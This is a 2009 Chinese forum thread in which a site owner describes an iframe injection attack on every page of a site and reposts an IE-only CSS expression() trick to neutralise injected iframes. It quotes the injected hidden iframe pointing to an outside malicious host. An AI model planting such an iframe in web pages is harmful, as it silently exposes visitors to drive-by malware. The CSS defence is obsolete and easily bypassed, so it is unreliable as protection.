账号通
    

账号  

密码  

2035

查看

4

回复
主题:[转帖][分享]解决网站每个页面被iframe挂马方法 [收藏主题] 转到:  
cool_vc 当前离线

39

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:480 分
登录次数:3 次
注册时间:2009/5/21
最后登录:2009/9/29
cool_vc 发表于:2009/9/28 14:24:00   | 显示全部帖子 查看该作者主题 楼主 
科汛在线商城系统(NET)
昨天网站被人挂马了,具体症状是网站每一个页面源代码前都自动加了这一行代码<iframe src=http://xyc.rty7.cn/index.htm width=100 height=0></iframe>,由于是个新手没有办法解决,只能找客服,客服说技术员五一放假,没有办法,但网站不能正常运行,所以自已在网上找了一些这方面问题临时解决办法如下:

iframe是黑客们挂木马常用的代码,因为FF(Firefox)不怕IFRAME,于是就拿IE开刀。网上只用了一句代码,就搞定了。就是IE only(特有的)的CSS中的属性e xpression,插进去试试,果然那些IFRAME不起作用了。

代码如下:

<style type="text/css" media="all" id=http://cashzx.com>
/*<![CDATA[*/
iframe{
      v:expression(this.src='about:blank',this.outerHTML='');/*使用IE Only 的样式会除所有 IFRAME */
}
#f1{v:expression() !important} //如果要使自己的IFRAME可以执行,在自己的IFRAME里加上ID="f1";
/*]]>*/
</style>


     分析:

     前缀:e xpression(表达式);

     这个前缀是可以随意更换的,我上面取名为"v",例如我可以换成:abc123:e xpression(this.src='about: blank',this.outerHTML=''); 挂木马的家伙得先看你的CSS里这个前缀,然后挂马的时候写成这样,那个前缀一定要是和你的网站一样的(abc123),才能挂到马,哈哈哈!如果把前缀做成动态的,就非常OK了,看你怎么挂!

     优点:

     可以解决一些站长的烦恼,无须去理会人家插了多少IFRAME木马,那些IFRAME都不起作用;

     保护了访客的安全,这些IFRAME不执行,不下载,就不会破坏到访问的电脑;

     代码简单,仅一句CSS样式,不管你是ASP,ASP.NET,JSP,PHP还是RUBY,都通用;

     缺点:

     只适合防御目前的挂IFRAME方案;

     使得人家挂马的方式要改变了,挂马者可以构造这样的代码使我的防御方式失效,不过挂马都一定得看我的CSS里e xpression前面的这个"v" 字母,我可以换成任意的如:xgz:e xpression(...),哈哈哈,他也拿我没办法,再如,如果我这个前缀是变化的,是不是也行。

     不能防御其他标记的马,如< sc ript >、< appl et >、< ob ject >等。
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
cool_vc 当前离线

39

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:480 分
登录次数:3 次
注册时间:2009/5/21
最后登录:2009/9/29
cool_vc 发表于:2009/9/28 20:37:00   | 显示全部帖子 查看该作者主题 沙发 
科汛在线考试系统(NET)
这么好的东西没人顶?
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.08203秒 powered by KesionCMS 9.0